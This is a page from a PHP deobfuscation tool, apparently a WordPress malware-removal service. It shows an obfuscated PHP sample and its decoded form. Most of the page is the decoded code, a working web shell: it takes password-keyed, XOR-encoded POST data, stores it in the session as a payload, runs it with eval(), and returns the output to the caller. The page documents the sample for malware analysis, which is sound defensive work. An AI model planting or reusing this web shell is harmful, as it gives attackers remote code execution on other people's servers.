Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php if(!defined('A__A_AAA_'))define('A__A_AAA_', '_AA__AA_A');$GLOBALS[A__A_AAA_]=explode('3337363333333339376333357c2c', 'H*3337363333333339376333357c2c70687069663337363333333339376333357c2c646566696E65643337363333333339376333357c2c5F5F415F5F41415F5F3337363333333339376333357c2c646566696E653337...



Obfuscated php code

<?php if(!defined('A__A_AAA_'))define('A__A_AAA_', '_AA__AA_A');$GLOBALS[A__A_AAA_]=explode('3337363333333339376333357c2c', 'H*3337363333333339376333357c2c70687069663337363333333339376333357c2c646566696E65643337363333333339376333357c2c5F5F415F5F41415F5F3337363333333339376333357c2c646566696E653337363333333339376333357c2c415F41415F415F41413337363333333339376333357c2c5F5F415F5F41415F5F3337363333333339376333357c2c6578706C6F64653337363333333339376333357c2c333333373336333333333332333633323337363333333635376332633337363333333339376333357c2c482A333333373336333333333332333633323337363333333635376332633343323132443244323034323631363936343735323034323735373437343646364532303432343534373439344533333337333633333333333233363332333736333333363537633263334337333633373236393730373432303734373937303635334432323734363537383734324636413631373636313733363337323639373037343232323036393634334432323632363437333638363137323635354636413733323232303634363137343631334432323734373937303635334437333643363936343635323636313644373033423639364436373344333832363631364437303342373036463733334437323639363736383734323636313644373033423735363936343344333633353333333733303332333232323230334533433246373336333732363937303734334533333337333633333333333233363332333736333333363537633263334337333633373236393730373432303734373937303635334432323734363537383734324636413631373636313733363337323639373037343232323036393634334432323632363437333638363536433643354636413733323233453343324637333633373236393730373433453333333733363333333333323336333233373633333336353763326337333734373237303646373333333337333633333333333233363332333736333333363537633263363736353734343236313733363936333733343936453636364633333337333633333333333233363332333736333333363537633263373337343732364336353645333333373336333333333332333633323337363333333635376332633343373336333732363937303734323037343739373036353344323237343635373837343246364136313736363137333633373236393730373432323345333333373336333333333332333633323337363333333635376332633343324637333633373236393730373433453333333733363333333333323336333233373633333336353763326332443244334533333337333633333333333233363332333736333333363537633263334332463733363337323639373037343345333333373336333333333332333633323337363333333635376332633343324636323646363437393345333333373336333333333332333633323337363333333635376332633730363137393643364636313634333333373336333333333332333633323337363333333635376332633343363837343644364332303643363136453637334432323635364532323345333333373336333333333332333633323337363333333635376332633635364536333646363436353333333733363333333333323336333233373633333336353763326333433246363837343644364333453333333733363333333333323336333233373633333336353763326333433632364636343739334533333337333633333333333233363332333736333333363537633263334337333633373236393730373433453333333733363333333333323336333233373633333336353763326333353331333236333634363533353632333133323339333833363333333536313333333733363333333333323336333233373633333336353763326336373635373434323631373336393633373334393645363636463333333733363333333333323336333233373633333336353763326337333735363237333734373233333337333633333333333233363332333736333333363537633263364436343335333333373336333333333332333633323337363333333635376332633632363137333635333633343546363536453633364636343635333333373336333333333332333633323337363333333635376332633732373536453333333733363333333333323336333233373633333336353763326333423333333733363333333333323336333233373633333336353763326336343646363337353644363536453734324536373635373434353643363536443635364537343432373934393634323832323632363437333638363536433643354636413733323232393245373337323633323033443230323236383734373437303341324632463632363436393644363732453733363836313732363532453632363136393634373532453633364636443246373337343631373436393633324636413733324637333638363536433643354637363332324536413733334636333634364537363635373237333639364636453344323232303242323034443631373436383245363336353639364332383645363537373230343436313734363532383239324633333336333033303330333033303239334233333337333633333333333233363332333736333333363537633263373336353733373336393646364535463733373436313732373433333337333633333333333233363332333736333333363537633263373336353734354637343639364436353546364336393644363937343333333733363333333333323336333233373633333336353763326336353732373236463732354637323635373036463732373436393645363733333337333633333333333233363332333736333333363537633263373337343732354637323635373036433631363336353333333733363333333333323336333233373633333336353763326336323634373336353642333333373336333333333332333633323337363333333635376332633736363137323230353236353632363437333635364235463633364636453636363936373344333333373336333333333332333633323337363333333635376332633638363536313634363537323333333733363333333333323336333233373633333336353763326334333646364537343635364537343244353437393730363533413230373436353738373432463638373436443643333333373336333333333332333633323337363333333635376332633343323134343446343335343539353034353230363837343644364333453333333733363333333333323336333233373633333336353763326333433638363536313634334533333337333633333333333233363332333736333333363537633263334336443635373436313230363336383631373237333635373433443232353535343436324433383232334533333337333633333333333233363332333736333333363537633263334337343639373436433635334534373635373434333646364536363639363734423635373933433246373436393734364336353345333333373336333333333332333633323337363333333635376332633343324636383635363136343345333333373336333333333332333633323337363333333635376332633643363136453634363933313332333333333337333633333333333233363332333736333333363537633263363236313733363533363334354636343635363336463634363533333337333633333333333233363332333736333333363537633263304430413337363333333339376333357c2c7061636B3337363333333339376333357c2c63616C6C5F757365725F66756E633337363333333339376333357c2c677A696E666C6174653337363333333339376333357c2c7375627374723337363333333339376333357c2c6261736536345F6465636F64653337363333333339376333357c2c48347349414141414141414141797449544D344741434E6533706345414141413337363333333339376333357c2c737472706F733337363333333339376333357c2c6347466A61773337363333333339376333357c2c7374726C656E3337363333333339376333357c2c656E636F64653337363333333339376333357c2c6D64353337363333333339376333357c2c6261736536345F656E636F64653337363333333339376333357c2c72756E3337363333333339376333357c2c73657373696F6E5F73746172743337363333333339376333357c2c7365745F74696D655F6C696D69743337363333333339376333357c2c6572726F725F7265706F7274696E673337363333333339376333357c2c7374725F7265706C6163653337363333333339376333357c2c7374725F726F7431333337363333333339376333357c2c705453776E6A3337363333333339376333357c2c686561646572');unset($YWB4lG2);$YWB4lG2;if(!defined(pack($GLOBALS[A__A_AAA_][3*9-27],$GLOBALS[A__A_AAA_][0x00003])))define(pack($GLOBALS[A__A_AAA_][3*9-27],$GLOBALS[A__A_AAA_][0x00003]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[A__A_AAA_][6/2*3-9], $GLOBALS[A__A_AAA_][0x05]));$GLOBALS[__A__AA__]=explode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[A__A_AAA_][3*9-27], $GLOBALS[A__A_AAA_][0x00008]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[A__A_AAA_][(5+6+7-18)*0], $GLOBALS[A__A_AAA_][0x000009]));unset($T7aXAHT);$T7aXAHT;goto I4rQVNCq_1;LaKmUvBVW6:echo pack($GLOBALS[__A__AA__][(0x05+0x006+0x0007-0x000012)*0],$GLOBALS[__A__AA__][0x001]);echo pack($GLOBALS[__A__AA__][0x064-0x014*0x05],$GLOBALS[__A__AA__][0x0002]);echo call_user_func(gzinflate(substr(base64_decode(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[A__A_AAA_][15-5+7-17], $GLOBALS[A__A_AAA_][0x0f])),0x0a,-0x00008)),$GLOBALS[__A__AA__][0x000004+0x05-0x00003*0x00003],$GLOBALS[__A__AA__][0x00003]);goto D49hANiLYb;W3gfMb37Ex:goto qGKo2RGK7I;erqp1WGGqj:goto xp9DLecstY;ixZ5MJ7gSP:if(strpos($data,call_user_func(base64_decode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[A__A_AAA_][(5+6+7-18)*0], $GLOBALS[A__A_AAA_][0x00011])),$GLOBALS[__A__AA__][0x006/0x0002*0x00003-0x000009],$GLOBALS[__A__AA__][0x05]))!==!0x001){goto DGqcsxl1P3;}goto T05zlCdaIW;DGqcsxl1P3:goto IIk_pfZ7BR;z5Ev7ZunGY:function encode($D,$K){goto dHSLKWh7P6;unset($PHZM1JO);$PHZM1JO;DMT_yUtazd:UNJCxMIsrp:$i=0;unset($OTLRJRY);$OTLRJRY;qgMUFfe8yk:if($i<strlen($D)){goto QBAkl1IqMT;}goto qQF0C1aRmK;goto hxTBy8uhow;unset($THbXfER);unset($ZO7UQ7U);$ZO7UQ7U;$THbXfER;unset($S3OYZPS);$S3OYZPS;hxTBy8uhow:QBAkl1IqMT:unset($CNlSzUX);unset($OTIOD3a);$OTIOD3a;$CNlSzUX=$K[$i+0x001&0x0f];unset($MMyUePH);$MMyUePH;unset($W9lQpMN);$W9lQpMN;goto ehkpUK8pAZ;unset($YGMVYVt);$YGMVYVt;ehkpUK8pAZ:goto nn10Pc2V1R;unset($MQ0KFBD);$MQ0KFBD;unset($C6CJ3P1);unset($MMa88DL);$MMa88DL;$C6CJ3P1;dHSLKWh7P6:goto UNJCxMIsrp;vY2hTp3PLs:qQF0C1aRmK:return $D;unset($WO6AeEh);unset($O0YYFM9);$O0YYFM9;$WO6AeEh;goto ydV0fBrQCa;unset($GWwUHLN);$GWwUHLN;goto DMT_yUtazd;unset($R87Rl4C);unset($PGbLUQx);$PGbLUQx;$R87Rl4C;unset($JZmSJPL);$JZmSJPL;nn10Pc2V1R:$c=$CNlSzUX;unset($MUHVJ3s);$MUHVJ3s;unset($RAb3pVZ);unset($YQy7QUO);$YQy7QUO;$RAb3pVZ;$D[$i]=$D[$i]^$c;unset($AQGGPBl);$AQGGPBl;unset($VI0KPPQ);unset($V4WE6ZO);$V4WE6ZO;$VI0KPPQ;m3CtdR60O0:$i++;goto qgMUFfe8yk;unset($RQ3CHWM);$RQ3CHWM;unset($DBfGqUi);unset($A33GT7u);$A33GT7u;$DBfGqUi;goto IWDHiUJ92f;unset($K1bZwQr);$K1bZwQr;unset($LQtUQUg);unset($MGeG5Eg);$MGeG5Eg;$LQtUQUg;unset($PVnM6Rw);$PVnM6Rw;IWDHiUJ92f:goto vY2hTp3PLs;unset($DNFHzES);$DNFHzES;unset($JQdQKI7);$JQdQKI7;ydV0fBrQCa:goto F_7sD8XmWh;unset($TNA3UHT);$TNA3UHT;F_7sD8XmWh:}unset($ACgIXZ3);goto W9qnVyPHjv;D49hANiLYb:echo pack($GLOBALS[__A__AA__][0x000004+0x05-0x00003*0x00003],$GLOBALS[__A__AA__][0x0007]);goto HU_Zwhqgvy;CoylyuP0ml:rE_dQLO39v:echo pack($GLOBALS[__A__AA__][0x0f-0x05+0x0007-0x00011],$GLOBALS[__A__AA__][0x00008]);echo pack($GLOBALS[__A__AA__][0x064-0x014*0x05],$GLOBALS[__A__AA__][0x000009]);echo pack($GLOBALS[__A__AA__][0x006/0x0002*0x00003-0x000009],$GLOBALS[__A__AA__][0x0a]);echo pack($GLOBALS[__A__AA__][0x064-0x014*0x05],$GLOBALS[__A__AA__][0x00b]);goto wWIDdh_C59;hVTHE82Z__:$HJwQ42Z=call_user_func(base64_decode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[A__A_AAA_][(5+6+7-18)*0], $GLOBALS[A__A_AAA_][0x00011])),$GLOBALS[__A__AA__][0x006/0x0002*0x00003-0x000009],$GLOBALS[__A__AA__][0x000c]);$payloadName=$HJwQ42Z;goto KsNG_wICkt;vqIS4vgSfJ:echo pack($GLOBALS[__A__AA__][0x064-0x014*0x05],$GLOBALS[__A__AA__][0x0000d]);goto lDxYfn7Y1M;qGKo2RGK7I:T05zlCdaIW:goto xukyVsZKdm;xp9DLecstY:unset($Q7HC2N8);$Q7HC2N8=encode($_SESSION[$payloadName],$key);goto ODS3PekeuT;wWIDdh_C59:echo pack($GLOBALS[__A__AA__][0x006/0x0002*0x00003-0x000009],$GLOBALS[__A__AA__][0x0f]);goto Xyd2RveFQu;cMmbiu1uNC:goto UoC_FrDYof;IIk_pfZ7BR:$_SESSION[$payloadName]=encode($data,$key);goto W3gfMb37Ex;Tv4UUQVUU0:C36DCG3Px_:eval($payload);goto r5mkFLtcK2;rcWJr_PKgm:$payload=$CLG7PBl;goto Tv4UUQVUU0;rViIWf5DCU:echo pack($GLOBALS[__A__AA__][0x064-0x014*0x05],$GLOBALS[__A__AA__][0x0010]);echo call_user_func(base64_decode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[A__A_AAA_][(5+6+7-18)*0], $GLOBALS[A__A_AAA_][0x00011])),$GLOBALS[__A__AA__][0x000004+0x05-0x00003*0x00003],$GLOBALS[__A__AA__][0x00011]);goto LaKmUvBVW6;alu_C1wz3R:KsNG_wICkt:unset($IMeB3UO);$IMeB3UO=call_user_func(base64_decode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[A__A_AAA_][(5+6+7-18)*0], $GLOBALS[A__A_AAA_][0x00011])),$GLOBALS[__A__AA__][0x006/0x0002*0x00003-0x000009],$GLOBALS[__A__AA__][0x000012]);$key=$IMeB3UO;if(isset($_POST[$pass])){goto xLRAZ3tyrU;}goto IoLugmYYaU;i8rLisPMvY:if(strpos($payload,pack($GLOBALS[__A__AA__][0x064-0x014*0x05],$GLOBALS[__A__AA__][0x0000013]))===!0x001){goto zDaMi6AF3g;}goto C36DCG3Px_;zDaMi6AF3g:unset($CLG7PBl);$CLG7PBl=encode($payload,$key);goto rcWJr_PKgm;r5mkFLtcK2:unset($VE1WMWa);$VE1WMWa=substr(md5($pass.$key),0,0x05);$left=$VE1WMWa;goto uwfDwyt1Qt;uwfDwyt1Qt:goto ebU84q_t6l;HU_Zwhqgvy:echo $replacedString;echo base64_encode(encode(@run($data),$key));echo call_user_func(base64_decode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[A__A_AAA_][(5+6+7-18)*0], $GLOBALS[A__A_AAA_][0x00011])),$GLOBALS[__A__AA__][0x000004+0x05-0x00003*0x00003],$GLOBALS[__A__AA__][0x0000018]);echo call_user_func(base64_decode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[A__A_AAA_][(5+6+7-18)*0], $GLOBALS[A__A_AAA_][0x00011])),$GLOBALS[__A__AA__][0x000004+0x05-0x00003*0x00003],$GLOBALS[__A__AA__][0x019]);goto rE_dQLO39v;goto CoylyuP0ml;plt4qe8QKz:goto vqIS4vgSfJ;YF81YPcsQa:@session_start();@set_time_limit(0);@error_reporting(0);goto z5Ev7ZunGY;ebU84q_t6l:unset($RVGGiXY);$RVGGiXY=str_replace(pack($GLOBALS[__A__AA__][0x0f-0x05+0x0007-0x00011],$GLOBALS[__A__AA__][0x01e]),$left,call_user_func(base64_decode(str_rot13(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[A__A_AAA_][6/2*3-9], $GLOBALS[A__A_AAA_][0x00001c]))),$GLOBALS[__A__AA__][0x000004+0x05-0x00003*0x00003],$GLOBALS[__A__AA__][0x001f]));$replacedString=$RVGGiXY;header(pack($GLOBALS[__A__AA__][0x00003*0x000009-0x0001b],$GLOBALS[__A__AA__][0x000021]));echo call_user_func(gzinflate(substr(base64_decode(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[A__A_AAA_][15-5+7-17], $GLOBALS[A__A_AAA_][0x0f])),0x0a,-0x00008)),$GLOBALS[__A__AA__][0x00003*0x000009-0x0001b],$GLOBALS[__A__AA__][0x0000022]);goto plt4qe8QKz;IoLugmYYaU:goto zdLN2hWCfn;xLRAZ3tyrU:unset($PTdDdNe);goto tOfIxWajtw;Xyd2RveFQu:goto hJEKPVCV92;lDxYfn7Y1M:echo pack($GLOBALS[__A__AA__][0x064-0x014*0x05],$GLOBALS[__A__AA__][0x023]);echo pack($GLOBALS[__A__AA__][0x064-0x014*0x05],$GLOBALS[__A__AA__][0x0024]);echo call_user_func(base64_decode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[A__A_AAA_][(5+6+7-18)*0], $GLOBALS[A__A_AAA_][0x00011])),$GLOBALS[__A__AA__][0x000004+0x05-0x00003*0x00003],$GLOBALS[__A__AA__][0x00025]);echo pack($GLOBALS[__A__AA__][0x006/0x0002*0x00003-0x000009],$GLOBALS[__A__AA__][0x000026]);goto rViIWf5DCU;goto alu_C1wz3R;hJEKPVCV92:xukyVsZKdm:zdLN2hWCfn:goto cMmbiu1uNC;yQycadFGd2:$payload=$Q7HC2N8;goto i8rLisPMvY;I4rQVNCq_1:goto YF81YPcsQa;W9qnVyPHjv:$ACgIXZ3=call_user_func(gzinflate(substr(base64_decode(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[A__A_AAA_][15-5+7-17], $GLOBALS[A__A_AAA_][0x0f])),0x0a,-0x00008)),$GLOBALS[__A__AA__][0x006/0x0002*0x00003-0x000009],$GLOBALS[__A__AA__][0x0000027]);$pass=$ACgIXZ3;unset($HJwQ42Z);goto hVTHE82Z__;ODS3PekeuT:goto yQycadFGd2;tOfIxWajtw:$PTdDdNe=encode(base64_decode($_POST[$pass]),$key);$data=$PTdDdNe;if(!isset($_SESSION[$payloadName])){goto ixZ5MJ7gSP;}goto erqp1WGGqj;UoC_FrDYof:echo call_user_func(gzinflate(substr(base64_decode(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[A__A_AAA_][15-5+7-17], $GLOBALS[A__A_AAA_][0x0f])),0x0a,-0x00008)),$GLOBALS[__A__AA__][0x000004+0x05-0x00003*0x00003],$GLOBALS[__A__AA__][0x0029]);

Decoded(de-Obfuscated) php code

<?php

if (!defined('A__A_AAA_')) {
    define('A__A_AAA_', '_AA__AA_A');
}
$GLOBALS[A__A_AAA_] = array(0 => "H*", 1 => "7068706966", 2 => "646566696E6564", 3 => "5F5F415F5F41415F5F", 4 => "646566696E65", 5 => "415F41415F415F4141", 6 => "5F5F415F5F41415F5F", 7 => "6578706C6F6465", 8 => "33333337333633333333333233363332333736333333363537633263", 9 => "482A33333337333633333333333233363332333736333333363537633263334332313244324432303432363136393634373532303432373537343734364636453230343234353437343934453333333733363333333333323336333233373633333336353763326333433733363337323639373037343230373437393730363533443232373436353738373432463641363137363631373336333732363937303734323232303639363433443232363236343733363836313732363535463641373332323230363436313734363133443232373437393730363533443733364336393634363532363631364437303342363936443637334433383236363136443730334237303646373333443732363936373638373432363631364437303342373536393634334433363335333333373330333233323232323033453343324637333633373236393730373433453333333733363333333333323336333233373633333336353763326333433733363337323639373037343230373437393730363533443232373436353738373432463641363137363631373336333732363937303734323232303639363433443232363236343733363836353643364335463641373332323345334332463733363337323639373037343345333333373336333333333332333633323337363333333635376332633733373437323730364637333333333733363333333333323336333233373633333336353763326336373635373434323631373336393633373334393645363636463333333733363333333333323336333233373633333336353763326337333734373236433635364533333337333633333333333233363332333736333333363537633263334337333633373236393730373432303734373937303635334432323734363537383734324636413631373636313733363337323639373037343232334533333337333633333333333233363332333736333333363537633263334332463733363337323639373037343345333333373336333333333332333633323337363333333635376332633244324433453333333733363333333333323336333233373633333336353763326333433246373336333732363937303734334533333337333633333333333233363332333736333333363537633263334332463632364636343739334533333337333633333333333233363332333736333333363537633263373036313739364336463631363433333337333633333333333233363332333736333333363537633263334336383734364436433230364336313645363733443232363536453232334533333337333633333333333233363332333736333333363537633263363536453633364636343635333333373336333333333332333633323337363333333635376332633343324636383734364436433345333333373336333333333332333633323337363333333635376332633343363236463634373933453333333733363333333333323336333233373633333336353763326333433733363337323639373037343345333333373336333333333332333633323337363333333635376332633335333133323633363436353335363233313332333933383336333333353631333333373336333333333332333633323337363333333635376332633637363537343432363137333639363337333439364536363646333333373336333333333332333633323337363333333635376332633733373536323733373437323333333733363333333333323336333233373633333336353763326336443634333533333337333633333333333233363332333736333333363537633263363236313733363533363334354636353645363336463634363533333337333633333333333233363332333736333333363537633263373237353645333333373336333333333332333633323337363333333635376332633342333333373336333333333332333633323337363333333635376332633634364636333735364436353645373432453637363537343435364336353644363536453734343237393439363432383232363236343733363836353643364335463641373332323239324537333732363332303344323032323638373437343730334132463246363236343639364436373245373336383631373236353245363236313639363437353245363336463644324637333734363137343639363332463641373332463733363836353643364335463736333232453641373333463633363436453736363537323733363936463645334432323230324232303444363137343638324536333635363936433238364536353737323034343631373436353238323932463333333633303330333033303330323933423333333733363333333333323336333233373633333336353763326337333635373337333639364636453546373337343631373237343333333733363333333333323336333233373633333336353763326337333635373435463734363936443635354636433639364436393734333333373336333333333332333633323337363333333635376332633635373237323646373235463732363537303646373237343639364536373333333733363333333333323336333233373633333336353763326337333734373235463732363537303643363136333635333333373336333333333332333633323337363333333635376332633632363437333635364233333337333633333333333233363332333736333333363537633263373636313732323035323635363236343733363536423546363336463645363636393637334433333337333633333333333233363332333736333333363537633263363836353631363436353732333333373336333333333332333633323337363333333635376332633433364636453734363536453734324435343739373036353341323037343635373837343246363837343644364333333337333633333333333233363332333736333333363537633263334332313434344634333534353935303435323036383734364436433345333333373336333333333332333633323337363333333635376332633343363836353631363433453333333733363333333333323336333233373633333336353763326333433644363537343631323036333638363137323733363537343344323235353534343632443338323233453333333733363333333333323336333233373633333336353763326333433734363937343643363533453437363537343433364636453636363936373442363537393343324637343639373436433635334533333337333633333333333233363332333736333333363537633263334332463638363536313634334533333337333633333333333233363332333736333333363537633263364336313645363436393331333233333333333733363333333333323336333233373633333336353763326336323631373336353336333435463634363536333646363436353333333733363333333333323336333233373633333336353763326330443041", 10 => "7061636B", 11 => "63616C6C5F757365725F66756E63", 12 => "677A696E666C617465", 13 => "737562737472", 14 => "6261736536345F6465636F6465", 15 => "48347349414141414141414141797449544D344741434E653370634541414141", 16 => "737472706F73", 17 => "6347466A6177", 18 => "7374726C656E", 19 => "656E636F6465", 20 => "6D6435", 21 => "6261736536345F656E636F6465", 22 => "72756E", 23 => "73657373696F6E5F7374617274", 24 => "7365745F74696D655F6C696D6974", 25 => "6572726F725F7265706F7274696E67", 26 => "7374725F7265706C616365", 27 => "7374725F726F743133", 28 => "705453776E6A", 29 => "686561646572");
unset($YWB4lG2);
$YWB4lG2;
if (!defined(pack($GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x3]))) {
    define(pack($GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x3]), call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x5]));
}
$GLOBALS[__A__AA__] = explode(call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x8]), call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x9]));
unset($T7aXAHT);
$T7aXAHT;
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D, $K)
{
    $i = 0;
    unset($OTLRJRY);
    $OTLRJRY;
    qgMUFfe8yk:
    if ($i < strlen($D)) {
        unset($CNlSzUX);
        unset($OTIOD3a);
        $OTIOD3a;
        $CNlSzUX = $K[1];
        unset($MMyUePH);
        $MMyUePH;
        unset($W9lQpMN);
        $W9lQpMN;
        $c = $CNlSzUX;
        unset($MUHVJ3s);
        $MUHVJ3s;
        unset($RAb3pVZ);
        unset($YQy7QUO);
        $YQy7QUO;
        $RAb3pVZ;
        $D[$i] ^= $c;
        unset($AQGGPBl);
        $AQGGPBl;
        unset($VI0KPPQ);
        unset($V4WE6ZO);
        $V4WE6ZO;
        $VI0KPPQ;
        $i++;
        goto qgMUFfe8yk;
    }
    vY2hTp3PLs:
    return $D;
}
unset($ACgIXZ3);
$ACgIXZ3 = call_user_func(gzinflate(substr(base64_decode(call_user_func(gzinflate(substr("\37\10\0\0\0\0\0\0\3+HL\6\0#^ޗ\4\0\0\0", 10, 8)), $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0xf])), 0xa, 8)), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x27]);
$pass = $ACgIXZ3;
unset($HJwQ42Z);
$HJwQ42Z = call_user_func(base64_decode(call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x11])), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0xc]);
$payloadName = $HJwQ42Z;
unset($IMeB3UO);
$IMeB3UO = call_user_func(base64_decode(call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x11])), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x12]);
$key = $IMeB3UO;
if (isset($_POST[$pass])) {
    unset($PTdDdNe);
    $PTdDdNe = encode(base64_decode($_POST[$pass]), $key);
    $data = $PTdDdNe;
    if (!isset($_SESSION[$payloadName])) {
        if (strpos($data, call_user_func(base64_decode(call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x11])), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x5])) !== !0x1) {
            $_SESSION[$payloadName] = encode($data, $key);
            goto qGKo2RGK7I;
        }
        qGKo2RGK7I:
        goto xukyVsZKdm;
    }
    unset($Q7HC2N8);
    $Q7HC2N8 = encode($_SESSION[$payloadName], $key);
    $payload = $Q7HC2N8;
    if (strpos($payload, pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x13])) === !0x1) {
        unset($CLG7PBl);
        $CLG7PBl = encode($payload, $key);
        $payload = $CLG7PBl;
        goto Tv4UUQVUU0;
    }
    Tv4UUQVUU0:
    eval($payload);
    unset($VE1WMWa);
    $VE1WMWa = substr(md5($pass . $key), 0, 0x5);
    $left = $VE1WMWa;
    unset($RVGGiXY);
    $RVGGiXY = str_replace(pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x1e]), $left, call_user_func(base64_decode(str_rot13(call_user_func(gzinflate(substr("\37\10\0\0\0\0\0\0\3+HL\6\0#^ޗ\4\0\0\0", 10, 8)), $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x1c]))), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x1f]));
    $replacedString = $RVGGiXY;
    header(pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x21]));
    echo call_user_func(gzinflate(substr(base64_decode(call_user_func(gzinflate(substr("\37\10\0\0\0\0\0\0\3+HL\6\0#^ޗ\4\0\0\0", 10, 8)), $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0xf])), 0xa, 8)), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x22]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0xd]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x23]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x24]);
    echo call_user_func(base64_decode(call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x11])), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x25]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x26]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x10]);
    echo call_user_func(base64_decode(call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x11])), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x11]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x1]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x2]);
    echo call_user_func(gzinflate(substr(base64_decode(call_user_func(gzinflate(substr("\37\10\0\0\0\0\0\0\3+HL\6\0#^ޗ\4\0\0\0", 10, 8)), $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0xf])), 0xa, 8)), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x3]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x7]);
    echo $replacedString;
    echo base64_encode(encode(@run($data), $key));
    echo call_user_func(base64_decode(call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x11])), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x18]);
    echo call_user_func(base64_decode(call_user_func("pack", $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0x11])), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x19]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x8]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x9]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0xa]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0xb]);
    echo pack($GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0xf]);
    goto hJEKPVCV92;
}
hJEKPVCV92:
xukyVsZKdm:
echo call_user_func(gzinflate(substr(base64_decode(call_user_func(gzinflate(substr("\37\10\0\0\0\0\0\0\3+HL\6\0#^ޗ\4\0\0\0", 10, 8)), $GLOBALS[A__A_AAA_][0], $GLOBALS[A__A_AAA_][0xf])), 0xa, 8)), $GLOBALS[__A__AA__][0], $GLOBALS[__A__AA__][0x29]);


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.